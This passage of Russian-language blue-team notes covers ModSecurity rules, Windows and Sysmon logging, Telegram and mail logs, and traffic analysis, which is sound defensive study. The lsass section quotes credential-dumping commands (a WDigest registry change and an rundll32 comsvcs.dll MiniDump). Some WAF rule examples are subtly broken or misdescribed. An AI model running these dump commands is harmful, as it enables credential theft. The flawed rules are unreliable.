K  Все сработавшие правила (включая нефатальные)
Z  Маркер конца записи (всегда нужен)

SecAuditLogParts ABIJEFHZ

 

 -
SecAuditLogType

Serial Все логи в один файл — последовательно (по умолчанию).
Concurrent Каждое событие в отдельный файл, а общий индекс (audit.log) ведётся отдельно. Удобно, когда нужно параллельное логирование.
HTTPS Отправляет аудит-логи по HTTP/HTTPS на удалённый сервер, обычно в систему централизованного логирования (SIEM, ELK и т.д.).

 -

Дополнительные настройки

Параметр Описание
SecArgumentSeparator Устанавливает разделитель в application/x-www-form-urlencoded  По умолчанию & но иногда бывает и другое 
SecArgumentSeparator &
SecCookieFormat Версия парсера cookies. 0 или 1. 0 - по умолчанию - более чем достаточно.

Пример минимального файла без правил.

# Basic Configuration
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess Off

# Audit Log Settings
SecAuditEngine On
SecAuditLogType Serial
SecAuditLog /var/log/modsecurity/audit.log

# Debug Settings
SecDebugLog /var/log/modsecurity/debug.log
SecDebugLogLevel 9

# Temporary directories
SecTmpDir /tmp/
SecDataDir /tmp/

Настройка отладки

Для nginx нет возможности разделить настройку в стиле тегов в пределах файла конфигурации modsecurity. Можно разделить только на уровне web сервера. 

location /myapp/ {
        modsecurity on;
        modsecurity_rules_file /usr/local/nginx/modsecurity/modsecurity_debug.conf;
        root /usr/local/nginx/html;
    }

То есть это отдельный файл с собственными настройками. Вариант динамического изменения уровня в правилах тоже не работает в 3 версии. 

Возможен анализ User-Agent 

SecRule REQUEST_HEADERS:User-Agent YOUR_UNIQUE_ID phase:1,nolog,pass,ctl:debugLogLevel=9

 

 

Правила modsecurity

SecRule VARIABLES OPERATOR TRANSFORMATION

VARIABLES Точки запроса, к которым применяется правило.
OPERATOR Регулярное выражение для поиска в VARIABLES.
TRANSFORMATION Действия в случае совпадения

Переменные (VARIABLES)

Операторы (OPERATOR)

Модификаторы (TRANSFORMATION)

SecRule ARGS "password" "@rx (?i)password" "id:2,phase:2,t:none,t:lowercase,t:urldecode,t:replaceComments"

Дополнительные опции

SecRule REQUEST_METHOD "@streq POST" "id:3,phase:2,chain,t:none,pass,nolog"

SecRule REQUEST_URI "@rx /login" "t:none,t:urldecode,t:replaceComments"

Примеры правил ModSecurity

Пример 1:

SecRule ARGS "password" "@rx (?i)password" "id:123,deny,status:403,msg:'Password leakage detected'"

ARGS: обращение к параметрам запроса
@rx: оператор совпадения с регулярным выражением
id: идентификатор правила
deny: действие с запросом - запретить
status: HTTP-статус ответа при срабатывании правила - 403
msg: название правила - 'Password leakage detected'

Данное правило ищет в параметрах запроса "password" и срабатывает при его обнаружении.

Пример 2:
SecRule ARGS "@rx ^(?:\'|\"|%27|%22|%3E|%3C|%3D|%3B|%20or%20|union|select|insert|update|delete|drop)" \

"id:1,phase:2,deny,msg:'SQL Injection Attack'"

Правило ищет SQL-инъекции в параметрах запроса (ARGS) и блокирует запрос, если обнаруживается соответствие с паттерном.

Пример 3:
SecRule REQUEST_COOKIES|REQUEST_HEADERS|ARGS|XML:/* \

"(<|%3C)([^sS]*s[sS]*c[cC]*r[rR]*i[iI]*p[pP]*t[tT]*)(>|%3E)" \

"id:2,phase:2,t:none,deny,msg:'Cross-site Scripting (XSS) Attack'"

Правило обнаруживает попытки вставки скриптов в запросы (XSS) и блокирует их.

Пример 4:
SecRule FILES_TMPNAMES "@inspectFile /etc/passwd" \

"id:3,phase:2,t:none,deny,msg:'Attempt to access /etc/passwd'"

Правило анализирует временные файлы, загруженные на сервер, и блокирует запрос, если в содержимом обнаруживается попытка доступа к файлу /etc/passwd.

Пример 5:
SecRule RESPONSE_BODY "@contains 'Invalid password'" \

"id:5,phase:4,t:none,log,deny,msg:'Password brute force attempt'"

Правило обнаруживает попытки подбора пароля по сообщению об ошибке в теле ответа и блокирует соответствующий запрос.

Как писать правила ModSecurity

ModSecurity Core Rule Set (CRS) — это набор правил, разработанный сообществом Open Web Application Security Project (OWASP) для использования с ModSecurity. Эти правила предназначены для обеспечения базовой защиты от различных видов популярных веб-атак. Вам не всегда нужно создавать свои собственные правила, так как CRS уже предоставляет обширный набор правил, охватывающих множество сценариев атак.

Но если у организации есть специфические требования или вы хотите настроить правила под свои нужды, вы можете создавать собственные правила, в соответствии со следующим алгоритмом:

1. Определите цель правила
Определите, какую атаку или вид активности вы хотите обнаруживать.
Решите, на какую часть HTTP-запроса (например, заголовки, тело запроса, параметры запроса) должно применяться правило.
2. Создайте правило
Определите фазу, на которой будет выполняться правило (например, phase:1 или phase:2).

Используйте документацию ModSecurity для создания правила, например:

SecRule REQUEST_HEADERS:User-Agent "@contains badbot" "id:1001,phase:2,deny,msg:'Bad Bot Detected.'" 

                  
Это правило запрещает запросы с User-Agent, содержащим строку "badbot" в заголовках.

3. Тестируйте правило
Включите правило и протестируйте его - нужно убедиться, что правило срабатывает на атаки и не фолсит.
Используйте инструменты для тестирования веб-безопасности (например, burp suit), чтобы проверить, как правило реагирует на различные виды запросов.
Если правило срабатывает не так, как хотелось бы, или блокирует легитимные запросы, исправьте его, чтобы снизить ложные срабатывания.
Просматривайте логи ModSecurity для выявления проблем и улучшения правил.
4. Документируйте
Добавьте комментарии к правилу, объясняющие его цель и предназначение.
Ведите документацию, чтобы другие коллеги могли легко понять, почему правило было создано.
Другой пример правила, предназначенного для блокировки SQL-инъекций:

SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/* "@rx (?i:(?:\b(?:union\s*all|select\s*(?:.+)\s*from|create\s*(?:.+)\s*table|delete\s*from|drop\s*(?:.+)\s*table|exec\s*(?:\w+\s*|\s*)\(|insert\s*into|shutdown|update\s*(?:.+)\s*set)\b))" "phase:2,deny,status:403,id:1002,msg:'SQL Injection attempt.'" 

Это правило проверяет параметры запроса, заголовки и XML-данные на наличие попыток SQL-инъекций.

Blue team

Обнаружение на альтернативных периметрах

Windows события

eventvwr.msc

Категории системных журналов:

В разделе Журналы приложений и служб (Applications and Services Logs) детальная информация о событиях отдельных служб и приложений, зарегистрированных в операционной системе.

Типы событий:

Фильтр журнала:

Правый клик по журналу – Фильтр текущего журнала… (>Filter Current Log…), Можно задать временной период, уровни события, выбрать журналы и конкретные источники событий, коды событий.

По умолчанию файлы журналов событий Windows используют расширение EVTX и находятся в папке %SystemRoot%\System32\winevt\Logs.

Приложение Просмотр событий (Event Viewer) позволяет также настроить дополнительные свойства журналов. Доступ к настройкам можно получить через панель быстрых действий, либо через контекстное меню журнала – правый клик по журналу – Свойства (Properties):

Настраивается путь файла журнала, текущий размер, максимальный размер файла. Для журнала "Система" желательно увеличить 100Мб, журнал security до 500Мб (при наличии достаточного запаса объема дискового пространства то увеличить до 1Гб)

Вариант действия при достижении журналом максимального значения:

Настройка размера журналов с помощью групповой политики (GPO):

Запустите консоль Group Policy Management (gpmc.msc), создайте новую GPO и назначьте на OU с компьютерами или серверами, для которых вы хотите изменить настройки Event Viewer (или назначьте GPO на корень домена);
Перейдите в раздел GPO Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Event Log Service. Как вы видите, в этом ветке есть подразделы для управления базовыми журналами Windows: Application, Security, Setup, System;
Чтобы увеличить максимальный размер любого из журналов, откройте параметр Specify the maximum log file size (KB), включите его и задайте нужный вам размер (минимум для Security, Sysmon — 500Мб, для остальных журналов минимум — 200Мб;
Обновите настройки политики на клиентах и проверьте, что в свойствах журнала теперь указан новый размер.

Первоочередный анализ

 Журнал Security (безопасность).

Будем перечислять события по идентификаторам (EventID):

Журнал System (Система):

Журнал TerminalServices-RemoteConnectionManager:

1149 — событие аутентификации по протоколу RDP (Remote Desktop Protocol). Полезен для выявления нелегитимных аутентификаций по RDP.

Журнал PowerShell:

4103 — событие фиксирует информацию о каждой выполненной команде и параметрах, с которыми она вызывалась. Полезен для выявления запуска командлетов powershell для выполнения разведки на рабочей станции или иных вредоносных действий. По умолчанию аудит данного события в системе не настроен.

4104 — событие фиксирует содержимое скрипта powershell на исполнение. Журналирование блокировки скриптов показывает каждый выполненный блок кода powershell. Даже если злоумышленник попытается скрыть команду, этот тип события покажет фактически выполненную команду powershell. Ещё в этом типе события могут фиксироваться некоторые выполняемые низкоуровневые вызовы API, эти события обычно записывается как Verbose, но, если подозрительная команда или сценарий используются в блоке кода, он будет зарегистрирован как c критичностью Warning. По умолчанию аудит данного события в системе не настроен.

Расширение журналируемых событий

Пример конфигурационного файла Sysmon от Флориана Рофа - конфигурация.

Sysmon

Sysmon (сокращение от System Monitor) — инструмент Microsoft в наборе Sysinternals для мониторинга и регистрации деятельности в операционной системе Windows. Он предоставляет дополнительную информацию о событиях в системе.

Задачей Sysmon является обнаружение и защита от вредоносного поведения, а также расследование инцидентов безопасности в сети. Он позволяет анализировать системные события, предоставляя информацию о процессах, сетевых подключениях, файловой активности, загрузке драйверов, реестре и т. д.

Функциональность Sysmon позволяет:

EventLogExplorer: — эффективное средство для просмотра и анализа событий, хранящихся в журналах операционных систем семейства Microsoft Windows. Позволяет существенно ускорить и упростить решение задач анализа журналов событий. Возможности Event Log Explorer существенно шире, чем у стандартного приложения Просмотр событий. Остальной функционал и преимущества приведены ниже:

EvtxECmd: Инструмент EvtxECmd — парсер событий EVTX из набора утилит Эрика Зиммермана. Утилита позволяет конвертировать EVTX файлы с событиями в формат CSV, XML, JSON для более удобной дальнейшей работы с событиями. 

EvtxECmd не имеет графического интерфейса. Сконвертировать журнал событий Sysmon в формат CSV из формата EVTX с помощью команды: 

EvtxECmd.exe -f "Microsoft-Windows-Sysmon%4Operational.evtx" --csv "C:\tools\EvtxECmd" --csvf sysmon.csv

Где ключ -f означает какой журнал событий принимается для конвертации, ключ --csv означает в какую папку сохраняем полученные данные, ключ --csvf задает имя сохраняемого файла в формате csv.

PowerShell — командлеты PowerShell для работы с событиями позволяют гибко выполнять поиск нужных событий. Основные команды PowerShell для работы с логами:

Get-EventLog — для работы с классическими журналами (Application, System, Security);
Get-WinEvent — для работы с любыми журналами.
Список доступных журналов можно получить командой:

Get-WinEvent -ListLog

 Вывести 10 последних записей журнала System позволяет команда: 

Get-WinEvent –LogName ‘System’ –MaxEvents 10

 Для более удобной фильтрации можно использовать хеш-таблицы, например, следующая команда выводит информацию о событиях журнала Security с кодом 4688, генерация которых связана с созданием процесса в операционной системе Windows:

Get-WinEvent –FilterHashTable @{LogName=’Security’;ID=4688}

Анализ активности при дампе памяти процесса lsass.exe

Сервис проверки подлинности локальной системы безопасности (Local Security Authority Subsystem Service, LSASS) — часть операционной системы Windows, отвечающая за авторизацию локальных пользователей отдельного компьютера.

Память процесса lsass.exe в нем хранятся хеши паролей учетных записей, прошедших аутентификацию. Если еще включить функцию WDigest, то в таком случае злоумышленник получит уже пароли в открытом виде. Сделать это злоумышленник может одним из способов с помощью изменения реестра: 

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Способов дампа различными утилитами памяти процесса lsass.exe огромное множество, мы проанализируем один из вариантов. 

Один из способов дампа памяти процесса lsass.exe

Событие 1 Sysmon зафиксировало подозрительную командную строку:

"C:\Windows\system32\rundll32.exe" C:\windows\system32\comsvcs.dll MiniDump 728 dump.bin full

Где rundll32.exe запускает библиотеку comsvcs.dll и вызывает функцию MiniDump, цифра 728 — это идентификатор процесса lsass.exe. Далее сохраняет в файл дамп памяти процесса lsass.exe, full - означает полный дамп памяти процесса.
Команда, запущенная с высокими правами - High.

Процесс-инициатор — C:\Windows\system32\rundll32.exe
Процесс, к области памяти которого было обращение. Напомним, что lsass.exe содержит в памяти как минимум хеши аутентифицированных пользователей — C:\Windows\system32\lsass.exe
Права доступа запрошены, в том числе и на чтение, которое достаточно для дампа - 0x1410
Стек вызовов (CallTrace) содержит библиотеку comsvcs.dll, у которой есть функция MiniDump для дампа памяти процессов.

Таким образом злоумышленнику даже не нужно на рабочую станцию с собой приносить инструмент для дампа памяти процесса lsass.exe, т.к. операционная система имеет достаточный функционал для этого. Подобный функционал, который используется злоумышленниками в своих атаках называется LOLBins. 

LOLBins (Living Off the Land Binaries and Scripts) – это термин, используемый в кибербезопасности для обозначения легитимных исполняемых файлов, скриптов или утилит, уже доступных на компьютере пользователя, с помощью которых хакеры выполняют различные вредоносные действия.

Поведенческий анализ

Поведенческий анализ помогает выявлять отклонения от нормального поведения пользователя, что может указывать на компрометацию аккаунта или вредоносную активность. Анализируя поведение, системы безопасности могут классифицировать типы угроз и атак, определяя потенциальные цели злоумышленников. Техника направлена на быстрое обнаружение подозрительных действий, что позволяет оперативно реагировать на угрозы.

Поведенческий анализ в приложениях

В контексте безопасности под поведенческим анализом понимается мониторинг и анализ поведения пользователей в приложениях с целью выявления аномальных и подозрительных активностей.

Месседжеры

Почтовые приложения

1С

Системы анализа поведения пользователей

Системы анализа поведения пользователей (User and Entity Behavior Analytics, UEBA) позволяют проводить анализ поведения пользователей и сущностей (Entity). Основная цель UEBA заключается в выявлении аномальных и потенциально угрожающих действий, которые могут указывать на наличие киберугроз или несанкционированной активности в сети.

Основные задачи систем UEBA:

С открытым исходным кодом можно использовать системы ниже:

Интеграция систем поведенческого анализа с мессенджерами

При интеграции мессенджеров с UEBA-системами осуществляется:

Метрики, которые могут использоваться при выявлении аномалий:

В системах поведенческого анализа без интеграции с SIEM и IRP можно настроить отправку оповещений Blue Team, в которых будет содержаться информация о событиях ИБ. Далее Blue Team может принимать меры по расследованию и реагированию.

Логирование в мессенджерах на примере Telegram

По умолчанию логирование в Telegram крайне ограничено. Путь к файлу логов можно найти, открыв окно с настройками и введя viewlogs, - после этого откроется папка с файлом log.txt

Это могут быть пути:

Файл log.txt постоянно обновляется, при этом вес его не должен превышать 250 Кб. Файл содержит логи об ошибках приложения, визуальной составляющей (например, загрузка шрифтов), о работе аудиоустройств и т.д. Эти логи, прежде всего, необходимы разработчикам для устранения ошибок в работе приложения, и представляют мало интереса с точки зрения безопасности.

Расширенные логи можно получить путем включения режима отладки (debug mode). Для этого при открытом окне настроек Telegram необходимо ввести debug mode, Telegram запросит подтверждение для включения этого режима. По умолчанию debug mode отключен. Если организации необходимо отслеживать расширенные логи приложения Telegram у сотрудников, нужно учесть следующие важные моменты:

Пути до файлов логов будут аналогичными тем, где находится log.txt, сами логи хранятся в папке DebugLogs.

Пример log.txt: 

[2024.01.22 13:22:02] Launched version: 4014009, install beta: [FALSE], alpha: 0, debug mode: [FALSE]
[2024.01.22 13:22:02] Executable dir: /Applications/, name: Telegram.app
[2024.01.22 13:22:02] Initial working dir: //
[2024.01.22 13:22:02] Working dir: /Users/USERNAME/Library/Application Support/Telegram Desktop/
[2024.01.22 13:22:02] Command line: /Applications/Telegram.app/Contents/MacOS/Telegram -noupdate -tosettings
[2024.01.22 13:22:02] Executable path before check: /Applications/Telegram.app
[2024.01.22 13:22:02] Logs started
[2024.01.22 13:22:02] Connecting local socket to /tmp/7cf2fc74b790e21d12eb2abd54c62016-{87A94AB0-E370-4cde-98D3-ACC110C5967D}...
[2024.01.22 13:22:02] This is the only instance of Telegram, starting server and app...
[2024.01.22 13:22:02] Moved logging from '/Users/USERNAME/Library/Application Support/Telegram Desktop/log_start0.txt' to '/Users/USERNAME/Library/Application Support/Telegram Desktop/log.txt'!
[2024.01.22 13:22:02] Global devicePixelRatio: 2
[2024.01.22 13:22:02] Primary screen DPI: 72, Base: 72.
[2024.01.22 13:22:02] Computed screen scale: 100
[2024.01.22 13:22:02] DevicePixelRatio: 2
[2024.01.22 13:22:02] ScreenScale: 110
[2024.01.22 13:22:02] Font: from ':/gui/fonts/DAOpenSansRegular.ttf' loaded 'DAOpenSansRegular'
[2024.01.22 13:22:02] Font: from ':/gui/fonts/DAVazirRegular.ttf' loaded 'DAVazirRegular'
[2024.01.22 13:22:02] Font: from ':/gui/fonts/DAOpenSansRegularItalic.ttf' loaded 'DAOpenSansRegularItalic'
...

[2024.01.22 14:18:25] Could not send ping for some seconds, restarting...
[2024.01.22 14:23:36] Audio Info: -receiveWakeNote: received, scheduling detach from audio device
[2024.01.22 14:33:00] Audio Info: recreating audio device and reattaching the tracks
[2024.01.22 14:33:02] Audio Info: Closing audio playback device.
[2024.01.22 14:36:19] API Warning: not loaded minimal channel applied.
[2024.01.22 14:36:47] Audio Info: recreating audio device and reattaching the tracks
[2024.01.22 14:36:49] Audio Info: Closing audio playback device.
[2024.01.22 14:53:01] Message Info: bad message notification received (error_code 16) for msg_id = 7326916857930079324, seq_no = 1378
[2024.01.22 14:53:01] Message Info: bad message notification received (error_code 16) for msg_id = 7326916858150819740, seq_no = 1378

С точки зрения безопасности в этих логах могут быть полезными следующие сообщения:

Версия приложения:
 Launched version: 4014009, install beta: [FALSE], alpha: 0, debug mode: [FALSE].
Является ли включенным/выключенным debug mode:
 Launched version: 4014009, install beta: [FALSE], alpha: 0, debug mode: [FALSE].
Рабочая директория:
 Working dir: /Users/USERNAME/Library/Application Support/Telegram Desktop/.
Также могут быть полезны сообщения Message Info — в рамках рассмотрения логов по умолчанию, эти сообщения содержат коды ошибок (error_code), которые связаны с определенным msg_id, где msg_id — это уникальный идентификатор сообщения или контейнера (контейнеры представляют собой сообщения, содержащие несколько других сообщений и используются для возможности передачи нескольких запросов RPC и/или служебных сообщений одновременно).

Варианты error_code:

16: msg_id слишком низкий (скорее всего ошибка связана с неверным временем клиента, нужно синхронизировать его с использованием уведомлений msg_id и переслать сообщение с "правильным" msg_id или упаковать его в контейнер с новым msg_id, если исходное сообщение слишком долго ожидалось на клиенте для передачи);
17: msg_id слишком высокий (аналогично предыдущему случаю необходима синхронизация времени клиента, и сообщение должно быть перенаправлено с правильным msg_id);
18: неверные два последних бита msg_id (сервер ожидает, чтобы msg_id клиентского сообщения делился на 4);
19: msg_id контейнера совпадает с msg_id ранее полученного сообщения (это никогда не должно происходить);
20: сообщение слишком старое, и нельзя проверить было ли сервером получено сообщение с этим msg_id или нет;
32: msg_seqno слишком низкий (сервер уже получил сообщение с более низким msg_id, но с более высоким или равным и нечетным seqno);
33: msg_seqno слишком высокий (аналогично, есть сообщение с более высоким msg_id, но с более низким или равным и нечетным seqno);
34: ожидается четный msg_seqno (несущественное сообщение), но получено нечетное;
35: ожидается нечетный msg_seqno (существенное сообщение), но получено четное.

Журнал MTP

Так же, как и расширенные логи, логи MTP записываются в файлы каждые 15 минут, названия файлов логов имеют структуру mtp_HH_MM.txt, где:

HH - час в 24-часовом формате;
MM - минуты в интервалах 15 минут.
Например: mtp_14_15.txt, mtp_14_30.txt.

Журнал last_call_log

Файл содержит информацию о последнем совершенном аудио/видео звонке. Логи предоставляют информацию о запуске и конфигурации WebRTC (Web Real-Time Communication) в приложении. В контексте информационной безопасности эти логи могут быть полезными для следующих аспектов:

  1. Криптография. В логах видно создание ключевых пар и сертификатов для шифрования данных с использованием OpenSSL.

  2. Сетевая активность. Логи содержат информацию о портах и сетевых настройках, таких как IP-адреса и использование сетей. Это может быть полезно для отслеживания и анализа сетевой активности приложения.

  3. Протоколы и передача данных. Протоколы и механизмы передачи данных, такие как DTLS (Datagram Transport Layer Security) и SRTP (Secure Real-time Transport Protocol), указываются в логах. Это важно для понимания, как происходит обеспечение безопасности данных в реальном времени.

  4. Отладка и анализ ошибок. Логи содержат информацию о возможных ошибках, отладочные сообщения и стеки вызовов. Это может помочь в обнаружении и решении проблем, связанных с аудио- и видеокоммуникациями.

  5. Информация о сети. Логи отображают сетевые параметры, такие как тип сети, стоимость соединения, а также IP-адреса и порты. Это полезная информация для оценки стабильности и производительности сети.

С точки зрения информационной безопасности важно следить за корректностью настроек шифрования, обеспечивать правильное управление ключами, а также мониторить сетевую активность для выявления потенциальных угроз или несанкционированной активности. Логи также могут быть использованы для анализа событий в случае инцидентов безопасности.

  1. Установка параметров эксперимента WebRTC:

    Setting field trial string:WebRTC-DataChannel-Dcsctp/Enabled/WebRTC-Audio-MinimizeResamplingOnMobile/Enabled/WebRTC-Audio-iOS-Holding/Enabled/WebRTC-IceFieldTrials/skip_relay_to_non_relay_connections:true/

    Здесь указана строка параметров для WebRTC, включающая различные опции для аудио и ICE (Interactive Connectivity Establishment).

  2. Настройка аудио-устройства:

    AudioDeviceBuffer::ctor SetRecordingSampleRate(48000) SetRecordingChannels(1)

    Происходит инициализация и настройка параметров аудио-устройства, включая частоту дискретизации и количество каналов.

  3. Создание ключевых пар и сертификата с использованием OpenSSL:

    Making key pair Returning key pair Making certificate for WebRTC Returning certificate

    Записи связаны с генерацией ключевых пар и сертификата с использованием OpenSSL для обеспечения безопасности.

  4. Информация о подключенных модулях обработки аудио:

    Injected APM submodules... Denormal disabler: supported

    Указываются внедренные модули обработки аудио и их параметры, такие как поддержка Denormal disabler.

  5. Настройка параметров сети и ICE:

    Set continual_gathering_policy to 1 Set backup connection ping interval to 25000 milliseconds. Set ICE receiving timeout to 2500 milliseconds

    Установка параметров сети и ICE (Interactive Connectivity Establishment) для обеспечения стабильности и надежности подключения.

  6. Настройка параметров шифрования:

    Setting RTCP Transport on null transport 0 Setting RTP Transport on null transport 0

    Установка параметров транспорта для RTCP и RTP, связанных с безопасностью и шифрованием.

  7. Информация о параметрах обработки звука и аудиопроцессинге:

    WebRtcVoiceEngine::ApplyOptions: AudioOptions... AudioProcessing::ApplyConfig: AudioProcessing::Config{...

    Указываются параметры аудиопроцессинга, такие как управление эхом, уровень шума, фильтры высоких частот и др.

  8. Информация о сетевой активности и портах:

    Start getting ports with turn_port_prune_policy 0 Port[ac5d5800::1:0:local:Net[en0:192.168.1.x/24:Unknown:id=1]]: Port created with network cost 50

    Указываются действия по получению портов, инициализация порта сети и соответствующая сетевая информация.

Поведенческий анализ в почтовых приложениях

Заголовки почтовых сообщений

Почтовые сообщения содержат различные заголовки, которые предоставляют информацию о различных аспектах сообщения. Вот некоторые из основных заголовков электронных писем:

Заголовок Описание
From (От) Адрес электронной почты отправителя и его имя
To (Кому) Содержит адрес(а) электронной почты получателя(ей)
Subject (Тема) Тема письма
Date (Дата) Дата и время отправки сообщения. Обычно, это значение генерируется почтовым сервером отправителя.
Message-ID (Идентификатор сообщения) Уникальный идентификатор, присвоенный каждому сообщению. Используется для уникальной идентификации конкретного письма.
MIME-Version Указывает версию стандарта MIME (Multipurpose Internet Mail Extensions), который определяет формат сообщения и поддерживает отправку не только текстовых данных, но и изображений, аудио, видео и других типов файлов.
Content-Type (Тип контента) Определяет тип содержимого сообщения (текст, изображение, аудио и т.д.) и его подтип.
Content-Disposition (Расположение содержимого) Определяет, каким образом содержимое должно быть отображено или обработано (например, встроено в сообщение или вложено как файл).
Received (Получено) Этот заголовок создается каждым промежуточным почтовым сервером, через который проходит сообщение. Он содержит информацию о времени и месте обработки сообщения, а также идентификатор сервера.
References (Ссылки) Используется для связи с другими сообщениями в цепочке.
In-Reply-To (В ответ на) Указывает на сообщение, на которое отвечает текущее.
Return-Path (Обратный путь) Содержит адрес, на который возвращаются недоставленные сообщения.

Помимо стандартных заголовков существуют кастомные заголовки, или x-headers.

X-headers (или расширенные заголовки) в почтовых письмах представляют собой дополнительные заголовки, начинающиеся с "X-" и используемые для включения дополнительной информации в сообщение. Эти заголовки могут быть добавлены почтовыми серверами, клиентами электронной почты или другими почтовыми агентами с целью предоставить дополнительные метаданные или сведения, которые не входят в стандартные заголовки электронных писем.

Примеры X-headers могут включать в себя:

 Заголовок                  Описание
X-Spam-Status Этот заголовок может предоставить информацию о том, было ли сообщение отмечено как спам, и включать дополнительные детали о результатах анализа спам-фильтров.
X-Mailer Указывает на почтовый клиент или программное обеспечение, использованное для отправки письма. Этот заголовок может быть полезен для анализа, какие клиенты чаще всего используются отправителями.
X-Priority Устанавливает приоритет сообщения. Это может использоваться для определения, насколько важным отправитель считает своё сообщение.
X-MS-Exchange-Organization-AuthSource Этот заголовок используется в Microsoft Exchange для указания источника аутентификации, когда отправитель представляется системе.
X-OriginalArrivalTime В Microsoft Exchange этот заголовок содержит информацию о времени прибытия сообщения на сервер.
X-Forwarded-For Используется в сетях, где сообщение проходит через промежуточные серверы, чтобы указать список IP-адресов, через которые оно прошло.
X-Originating-IP Содержит IP-адрес отправителя. Этот заголовок может быть использован для идентификации возможного источника письма.
X-AntiAbuse Может содержать информацию о действиях, предпринятых системой для предотвращения злоупотреблений.

X-headers не являются стандартными и могут различаться в зависимости от почтового сервера или клиента электронной почты. Некоторые из них могут быть полезными для анализа и фильтрации сообщений, в то время как другие могут использоваться для внутренних целей или же могут быть добавлены сторонними службами для слежения за потоком сообщений.

Администраторы систем электронной почты, разработчики и аналитики могут использовать X-headers для отслеживания и анализа трафика электронной почты, но их присутствие или отсутствие обычно не влияет на отображение письма в клиенте электронной почты для конечного пользователя.

Почтовые логи, которые можно проанализировать

Получение почты (SMTP-логи):

Отправка почты (SMTP-логи):

Фильтрация и обработка спама (спам-логи):

Аутентификация и безопасность (логи безопасности):

Журналы ошибок (error logs):

Журналы производительности (performance logs):

Журналы обновлений и конфигурации:

 

Blue team

Анализ NetFlow

Выявляет необычные паттерны трафика, которые могут указывать на вредоносную активность. Дамп трафика содержит более детальную информацию, которая может быть проанализирована для выявления конкретных векторов атак и методов, используемых злоумышленниками. Техника направлена на более глубокое понимание сетевой активности для предотвращения атак. 

Анализ сетевого трафика

Для выявления аномалий необходимо иметь возможность составить набор из типичного трафика, который в итоге образует так называемый "базовый уровень", на фоне которого будут определяться аномалии.

Базовый уровень — набор временных данных, который используется для сравнения с новыми данными с целью выявления аномалий или аномальных паттернов.

Злоумышленники скрывают присутствие в инфраструктуре. В трафике это видно как аномальное поведение. В каких случаях используют анализ сетевого трафика:

Например, всплеск SYN-пакетов, отправленных на множество различных портов — это с огромной вероятностью будет свидетельствовать о вертикальном сканировании.

TCP: Механизм тройного рукопожатия в TCP

Тройное рукопожатие используется в TCP для установления соединения между двумя хостами (клиентом и сервером):

  1. Отправка запроса на соединение (SYN): Когда клиенту нужно установить соединение с сервером, он отправляет пакет с флагом SYN (synchronize) серверу

  2. Подтверждение запроса и отправка запроса на соединение обратно (SYN-ACK): Сервер, получив пакет с флагом SYN, отвечает на него, устанавливая флаги SYN и ACK (acknowledgment). Флаг ACK указывает, что сервер получил пакет SYN от клиента. Этот пакет с флагами SYN и ACK отправляется обратно клиенту

  3. Подтверждение ответа сервера (ACK): Клиент, получив пакет с флагами SYN и ACK от сервера, отправляет ответный пакет с флагом ACK. Этот пакет подтверждает, что клиент успешно получил подтверждение от сервера.

После завершения этой процедуры обе стороны могут начать обмен данными. Теперь соединение установлено и готово к передаче информации в обоих направлениях.

Нормальным окончанием сессии считается ситуация, когда клиент и сервер обмениваются пакетами с флагами FIN и ACK. Одна сторона отправляет FIN, вторая ответом отправляет ACK и FIN, вторая отправляет ACK. 

О "ненормальном" закрытии сессии свидетельствуют пакеты с флагами RST (reset).Пакет с флагом RST закрывает сессию, не дожидаясь обмена пакетами с флагом FIN между хостами. 

Методы HTTP

Для выполнения операций вроде загрузки страницы, запроса о скачивании файла или публикации чего-либо на сайт используются определенные методы. Эти методы определяют действия, совершаемые при запросе URI.

Методы GET и HEAD всегда должны работать в стандартной имплементации HTTP. Другие методы являются опциональными функциями, которые может разрешить владелец ресурса. Примером этого может быть доступная только для чтения страница вроде поста в блоге. Клиент может запросить от нее ресурсы и данные, но не способен модифицировать, добавлять или удалять их. Методы:

Коды ответа HTTP

Коды ответа HTTP (HTTP status codes) представляют собой числовые значения, которые отправляются сервером в ответ на запрос клиента. Эти коды позволяют клиентским приложениям понимать результат запроса и принимать соответствующие действия. Коды ответа HTTP делятся на пять основных классов:

1xx (Informational): используются для информационных сообщений

100 Continue: Сервер готов продолжить выполнение запроса клиента после того, как клиент отправит заголовок Expect.

101 Switching Protocols: Сервер согласен изменить протоколы по запросу клиента.

2xx (Successful): сообщают об успешном выполнении запроса клиента

200 OK: Запрос успешно выполнен.

201 Created: Запрос успешно выполнен, и ресурс был создан.

204 No Content: Запрос успешно выполнен, но в ответе нет содержимого.

3xx (Redirection): указывают, что клиент должен выполнить дополнительные действия для завершения запроса

301 Moved Permanently: Ресурс перемещен по новому URL и клиент должен использовать новый URL для всех последующих запросов.

302 Found (or Moved Temporarily): Ресурс временно перемещен. Клиент должен использовать новый URL, но старый URL может быть в будущем восстановлен.

304 Not Modified: Ресурс не изменился с момента последнего запроса клиента. Клиент может использовать кэшированную версию ресурса.

4xx (Client Error): Ошибки на стороне клиента.

400 Bad Request: Некорректный запрос со стороны клиента.

401 Unauthorized: Клиент не авторизован и требуется аутентификация.

403 Forbidden: Клиенту запрещен доступ к запрашиваемому ресурсу.

404 Not Found: Запрашиваемый ресурс не найден на сервере.

5xx (Server Error): Ошибки на стороне сервера.

500 Internal Server Error: Общая ошибка сервера. Этот код возвращается, если сервер не может определить природу ошибки.

502 Bad Gateway: Сервер, выступая в роли шлюза или прокси, получил недопустимый ответ от верхнего уровня сервера.

503 Service Unavailable: Сервер временно не может обрабатывать запросы. Это может быть из-за перегрузки сервера или его технических проблем.

Заголовки HTTP

Заголовки содержат ключевую информацию о данных, которые передаются, формате сообщения, авторизации, кэшировании и других аспектах HTTP-протокола.

Рассмотрим некоторые распространенные заголовки HTTP:

  1. Общие заголовки (Common Headers):
    • Cache-Control: Управляет кэшированием, указывая, должны ли данные кэшироваться и как долго.
    • Date: Содержит дату и время, когда сообщение было отправлено.
    • Connection: Управляет соединением между клиентом и сервером, указывая, должно ли соединение быть закрытым после завершения запроса/ответа.
  2. Заголовки запроса (Request Headers):
    • Host: Содержит доменное имя сервера и порт, к которому выполняется запрос.
    • User-Agent: Идентифицирует программное обеспечение, инициировавшее запрос (например, браузер или мобильное приложение).
    • Accept: Указывает типы медиа-ресурсов, которые клиент может принимать.
    • Authorization: Используется для передачи информации об аутентификации для доступа к защищенным ресурсам.
  3. Заголовки ответа (Response Headers):
